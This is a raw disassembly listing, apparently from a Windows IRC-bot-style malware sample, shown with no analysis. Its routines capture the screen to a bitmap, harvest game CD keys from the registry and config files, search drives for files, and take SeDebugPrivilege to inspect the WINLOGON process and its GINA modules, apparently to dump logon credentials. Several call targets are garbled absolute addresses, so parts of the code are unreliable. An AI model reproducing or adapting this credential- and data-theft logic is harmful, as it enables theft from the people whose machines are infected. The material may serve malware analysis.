-4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43AD84 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43ADA0 push 0Ah push edi mov [ebp+var_8], eax call dword_43ADA0 push 0Ch push edi mov [ebp+var_C], eax call dword_43ADA0 cmp eax, 8 mov [ebp+var_10], eax ja short loc_408615 push 18h push edi call dword_43ADA0 mov ebx, 100h jmp short loc_408617 ; --------------------------------------------------------------------------- loc_408615: ; CODE XREF: sub_4085B3+50j xor ebx, ebx loc_408617: ; CODE XREF: sub_4085B3+60j push edi call dword_43ADE4 cmp eax, esi mov [ebp+var_4], eax jz loc_4087CC mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_43ADDC cmp eax, esi mov [ebp+var_1C], eax jz loc_4087D7 push eax push [ebp+var_4] call dword_43AC74 cmp eax, esi jz loc_4087D7 cmp eax, 0FFFFFFFFh jz loc_4087D7 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_43ADE0 test eax, eax jz loc_4087D7 cmp ebx, esi jz short loc_4086D4 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_43ACC8 mov ebx, eax loc_4086D4: ; CODE XREF: sub_4085B3+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26707CBh cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4087B7 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 2660000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call near ptr 2660000h nop cmp ebx, esi jz short loc_408799 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 2660000h loc_408799: ; CODE XREF: sub_4085B3+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2660000h push [ebp+arg_0] call near ptr 2651922h nop push 1 pop esi loc_4087B7: ; CODE XREF: sub_4085B3+1A2j push [ebp+var_1C] call dword_43ACFC push [ebp+var_4] call dword_43AC60 mov edi, [ebp+var_20] loc_4087CC: ; CODE XREF: sub_4085B3+70j push edi call dword_43AC60 mov eax, esi jmp short loc_4087E9 ; --------------------------------------------------------------------------- loc_4087D7: ; CODE XREF: sub_4085B3+C7j ; sub_4085B3+D9j ... push edi call dword_43AC60 push [ebp+var_4] call dword_43AC60 loc_4087E7: ; CODE XREF: sub_4085B3+23j xor eax, eax loc_4087E9: ; CODE XREF: sub_4085B3+222j pop edi pop esi pop ebx leave retn sub_4085B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087EE proc near ; CODE XREF: sub_40EE72+46EBp var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_40882C mov eax, esi jmp loc_4089E2 ; --------------------------------------------------------------------------- loc_40882C: ; CODE XREF: sub_4087EE+35j push edi call dword_43AD38 test eax, eax jz short loc_408849 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_40884B ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_4087EE+47j xor eax, eax loc_40884B: ; CODE XREF: sub_4087EE+59j cmp eax, ebx jnz short loc_408856 loc_40884F: ; CODE XREF: sub_4087EE+88j ; sub_4087EE+BCj mov ebx, esi jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_408856: ; CODE XREF: sub_4087EE+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408873 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408873: ; CODE XREF: sub_4087EE+71j cmp [ebp+var_20], ebx jz short loc_40884F push edi call dword_43AD38 test eax, eax mov edi, 42Ch jz short loc_408899 push ebx push ebx push edi push [ebp+var_4] call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_40889C ; --------------------------------------------------------------------------- loc_408899: ; CODE XREF: sub_4087EE+98j mov [ebp+arg_4], ebx loc_40889C: ; CODE XREF: sub_4087EE+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_40884F push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4088C3 push 1 pop ebx jmp loc_4089D7 ; --------------------------------------------------------------------------- loc_4088C3: ; CODE XREF: sub_4087EE+CBj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4088E0 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4088E0: ; CODE XREF: sub_4087EE+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_417390 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4088FB mov ecx, 280h loc_4088FB: ; CODE XREF: sub_4087EE+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_408907 mov eax, 1E0h loc_408907: ; CODE XREF: sub_4087EE+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax mov edi, 42Dh jz short loc_408951 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_408951: ; CODE XREF: sub_4087EE+153j push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40896E push ebx push ebx push 43Dh push [ebp+var_4] call dword_43ADF4 loc_40896E: ; CODE XREF: sub_4087EE+16Ej push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_40898D push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_43ADF4 loc_40898D: ; CODE XREF: sub_4087EE+18Bj push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089AA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_43ADF4 loc_4089AA: ; CODE XREF: sub_4087EE+1AAj push [ebp+var_8] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] call dword_43AD38 test eax, eax jz short loc_4089D7 push ebx push ebx push 40Bh push [ebp+var_4] call dword_43ADF4 loc_4089D7: ; CODE XREF: sub_4087EE+63j ; sub_4087EE+D0j ... push [ebp+var_4] call dword_43AE48 mov eax, ebx loc_4089E2: ; CODE XREF: sub_4087EE+39j pop edi pop esi pop ebx leave retn sub_4087EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A4p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_439830 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_43ACF0 mov edi, eax cmp edi, ebx jnz short loc_408A25 mov eax, esi jmp loc_408C21 ; --------------------------------------------------------------------------- loc_408A25: ; CODE XREF: sub_4089E7+35j push edi call dword_43AD38 test eax, eax jz short loc_408A42 push ebx push [ebp+arg_4] push 40Ah push edi call dword_43ADF4 jmp short loc_408A44 ; --------------------------------------------------------------------------- loc_408A42: ; CODE XREF: sub_4089E7+47j xor eax, eax loc_408A44: ; CODE XREF: sub_4089E7+59j cmp eax, ebx jnz short loc_408A4F loc_408A48: ; CODE XREF: sub_4089E7+8Bj ; sub_4089E7+BCj mov ebx, esi jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408A4F: ; CODE XREF: sub_4089E7+5Fj push edi call dword_43AD38 test eax, eax jz short loc_408A6F lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_43ADF4 loc_408A6F: ; CODE XREF: sub_4089E7+71j cmp [ebp+var_7C], ebx jz short loc_408A48 push edi call dword_43AD38 test eax, eax jz short loc_408A92 push ebx push ebx push 42Ch push edi call dword_43ADF4 mov [ebp+arg_4], eax jmp short loc_408A95 ; --------------------------------------------------------------------------- loc_408A92: ; CODE XREF: sub_4089E7+96j mov [ebp+arg_4], ebx loc_408A95: ; CODE XREF: sub_4089E7+A9j push [ebp+arg_4] call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_408A48 push [ebp+arg_4] call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_408ABC push 1 pop ebx jmp loc_408C18 ; --------------------------------------------------------------------------- loc_408ABC: ; CODE XREF: sub_4089E7+CBj push edi call dword_43AD38 test eax, eax jz short loc_408AD9 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_43ADF4 loc_408AD9: ; CODE XREF: sub_4089E7+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_417390 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_408AF4 mov ecx, 0A0h loc_408AF4: ; CODE XREF: sub_4089E7+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_408AFE push 78h pop eax loc_408AFE: ; CODE XREF: sub_4089E7+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_43AD38 test eax, eax jz short loc_408B43 push esi push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408B43: ; CODE XREF: sub_4089E7+14Aj push edi call dword_43AD38 test eax, eax jz short loc_408B60 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_43ADF4 loc_408B60: ; CODE XREF: sub_4089E7+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_43AD38 test eax, eax jz short loc_408B9E lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_43ADF4 loc_408B9E: ; CODE XREF: sub_4089E7+1A3j push edi call dword_43AD38 test eax, eax jz short loc_408BB9 push [ebp+arg_0] push ebx push 414h push edi call dword_43ADF4 loc_408BB9: ; CODE XREF: sub_4089E7+1C0j push edi call dword_43AD38 test eax, eax jz short loc_408BD2 push ebx push ebx push 43Eh push edi call dword_43ADF4 loc_408BD2: ; CODE XREF: sub_4089E7+1DBj push edi call dword_43AD38 test eax, eax jz short loc_408BEF push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_43ADF4 loc_408BEF: ; CODE XREF: sub_4089E7+1F4j push [ebp+var_4] call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push edi call dword_43AD38 test eax, eax jz short loc_408C18 push ebx push ebx push 40Bh push edi call dword_43ADF4 loc_408C18: ; CODE XREF: sub_4089E7+63j ; sub_4089E7+D0j ... push edi call dword_43AE48 mov eax, ebx loc_408C21: ; CODE XREF: sub_4089E7+39j pop edi pop esi pop ebx leave retn sub_4089E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C26 proc near ; CODE XREF: sub_40EE72+588Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_42B894, ebx mov [ebp+var_C], 80h jz loc_408DC7 push esi push edi mov eax, offset off_42B894 mov esi, offset dword_42B8A0 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408C56: ; CODE XREF: sub_408C26+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43AE08 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43ACA4 test eax, eax jnz loc_408DAD mov eax, [esi] cmp eax, ebx jz loc_408D71 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_4179A8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408DAD push eax loc_408CCF: ; CODE XREF: sub_408C26+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41900C add esp, 0Ch test eax, eax jz loc_408D66 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_408CFC push [ebp+var_8] jmp short loc_408CCF ; --------------------------------------------------------------------------- loc_408CFC: ; CODE XREF: sub_408C26+CFj push 3Dh push dword ptr [esi+4] call sub_418F50 pop ecx test eax, eax pop ecx jz short loc_408D2A lea eax, [ebp+var_70] push offset asc_42CA98 ; "=" push eax call sub_418B6E push offset asc_42CA98 ; "=" push ebx call sub_418B6E add esp, 10h jmp short loc_408D2D ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_408C26+E4j lea eax, [ebp+var_70] loc_408D2D: ; CODE XREF: sub_408C26+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 18h loc_408D66: ; CODE XREF: sub_408C26+B9j push [ebp+var_8] call sub_417900 pop ecx jmp short loc_408DAD ; --------------------------------------------------------------------------- loc_408D71: ; CODE XREF: sub_408C26+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4172B0 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_2F0] push eax call sub_40BF6D add esp, 28h loc_408DAD: ; CODE XREF: sub_408C26+60j ; sub_408C26+A2j ... push [ebp+var_4] call dword_43AD74 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_408C56 pop edi pop esi loc_408DC7: ; CODE XREF: sub_408C26+19j pop ebx leave retn sub_408C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408DCA proc near ; DATA XREF: sub_40EE72+3D60o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_417AB0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408E1F lea eax, [ebp+var_114] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_115], bl loc_408E1F: ; CODE XREF: sub_408DCA+3Fj lea eax, [ebp+var_218] push eax push offset unk_42CAEC lea eax, [ebp+var_49C] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408E64 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408E64: ; CODE XREF: sub_408DCA+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408EE5 add esp, 18h push eax lea eax, [ebp+var_49C] push offset unk_42CABC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_408EC5 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40D679 add esp, 14h loc_408EC5: ; CODE XREF: sub_408DCA+D9j lea eax, [ebp+var_49C] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 26302E2h pop edi pop esi pop ebx sub_408DCA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EE5 proc near ; CODE XREF: sub_408DCA+B9p ; sub_408EE5+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41782A mov edi, dword_4240BC add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408FA2 loc_408F31: ; CODE XREF: sub_408EE5+BBj test [ebp+var_144], 10h jz short loc_408F8E cmp [ebp+var_118], 2Eh jnz short loc_408F55 cmp [ebp+var_117], 0 jz short loc_408F8E cmp [ebp+var_117], 2Eh jz short loc_408F8E loc_408F55: ; CODE XREF: sub_408EE5+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41782A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408EE5 add esp, 2Ch mov [ebp+arg_14], eax loc_408F8E: ; CODE XREF: sub_408EE5+53j ; sub_408EE5+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] nop call near ptr 26D0000h test eax, eax jnz short loc_408F31 loc_408FA2: ; CODE XREF: sub_408EE5+4Aj push [ebp+var_4] call near ptr 26B03F3h nop push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409028 loc_408FD9: ; CODE XREF: sub_408EE5+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h lea eax, [ebp+var_144] push eax push esi call near ptr 26D0000h nop test eax, eax jnz short loc_408FD9 loc_409028: ; CODE XREF: sub_408EE5+F2j push esi call near ptr 26B03F3h nop mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409037 proc near ; DATA XREF: sub_40EE72+5237o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B78A cmp eax, esi mov [ebp+var_4], eax jz short loc_409076 cmp eax, 2 jz short loc_409076 push offset unk_42CD60 jmp loc_4091B5 ; --------------------------------------------------------------------------- loc_409076: ; CODE XREF: sub_409037+2Ej ; sub_409037+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx test eax, eax pop ecx jz loc_4091B0 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 2710771h mov esi, dword_4240DC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_43AA44, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_43AA38, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_43AC48, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_43AA40, eax call esi mov dword_43AA3C, eax call sub_409209 test eax, eax mov [ebp+arg_0], eax jz loc_409183 mov esi, dword_4240D8 mov edi, 400h mov ebx, offset dword_439A38 push edi push ebx push offset off_42CC9C call esi push edi mov edi, offset dword_43A238 push edi push offset off_42CC84 call esi cmp [ebp+var_4], 1 push offset dword_43AC50 push [ebp+arg_0] jnz short loc_40912F call sub_409392 jmp short loc_409134 ; --------------------------------------------------------------------------- loc_40912F: ; CODE XREF: sub_409037+EFj call sub_409539 loc_409134: ; CODE XREF: sub_409037+F6j pop ecx test eax, eax pop ecx jz short loc_40917C cmp dword_43AC50, 0 jnz short loc_409163 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_42CC0C push 200h push eax call sub_41782A add esp, 18h jmp short loc_409196 ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409037+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_409173 call sub_40966F jmp short loc_409178 ; --------------------------------------------------------------------------- loc_409173: ; CODE XREF: sub_409037+133j call sub_409706 loc_409178: ; CODE XREF: sub_409037+13Aj pop ecx push eax jmp short loc_409188 ; --------------------------------------------------------------------------- loc_40917C: ; CODE XREF: sub_409037+101j push offset unk_42CBC4 jmp short loc_409188 ; --------------------------------------------------------------------------- loc_409183: ; CODE XREF: sub_409037+B6j push offset unk_42CB80 loc_409188: ; CODE XREF: sub_409037+143j ; sub_409037+14Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_409196: ; CODE XREF: sub_409037+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push [ebp+var_8] call near ptr 270064Dh nop pop ebx jmp short loc_4091C3 ; --------------------------------------------------------------------------- loc_4091B0: ; CODE XREF: sub_409037+4Ej push offset unk_42CB3C loc_4091B5: ; CODE XREF: sub_409037+3Aj lea eax, [ebp+var_29C] push eax call sub_4172B0 pop ecx pop ecx loc_4091C3: ; CODE XREF: sub_409037+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091EA push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40D679 add esp, 14h loc_4091EA: ; CODE XREF: sub_409037+191j lea eax, [ebp+var_29C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi call near ptr 26302E2h nop pop edi pop esi sub_409037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409209 proc near ; CODE XREF: sub_409037+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_4240EC mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_4240E8 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_43AA44 push ebp push 0 call esi push eax nop call near ptr 2720000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_43AA44 test eax, eax jnz short loc_4092F6 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F6 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4092F6 loc_409292: ; CODE XREF: sub_409209+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E9 push 0 push 0 call dword_43AA38 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_43AC48 test eax, eax jnz short loc_4092DA mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40930E loc_4092DA: ; CODE XREF: sub_409209+AAj test edi, edi jz short loc_4092E5 push edi call dword_43AA40 loc_4092E5: ; CODE XREF: sub_409209+D3j mov eax, [esp+28h+var_10] loc_4092E9: ; CODE XREF: sub_409209+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_409292 loc_4092F6: ; CODE XREF: sub_409209+6Dj ; sub_409209+7Aj ... xor edi, edi loc_4092F8: ; CODE XREF: sub_409209+17Dj push ebp push 0 call esi push eax nop call near ptr 2720000h mov eax, edi loc_409306: ; CODE XREF: sub_409209+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_40930E: ; CODE XREF: sub_409209+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409377 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_409324: ; CODE XREF: sub_409209+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40938B push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_419063 pop ecx push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_409369 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409369: ; CODE XREF: sub_409209+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_409324 loc_409377: ; CODE XREF: sub_409209+10Fj test edi, edi jz short loc_409382 push edi call dword_43AA40 loc_409382: ; CODE XREF: sub_409209+170j mov edi, [esp+28h+var_4] jmp loc_4092F8 ; --------------------------------------------------------------------------- loc_40938B: ; CODE XREF: sub_409209+13Cj xor eax, eax jmp loc_409306 sub_409209 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409392 proc near ; CODE XREF: sub_409037+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp 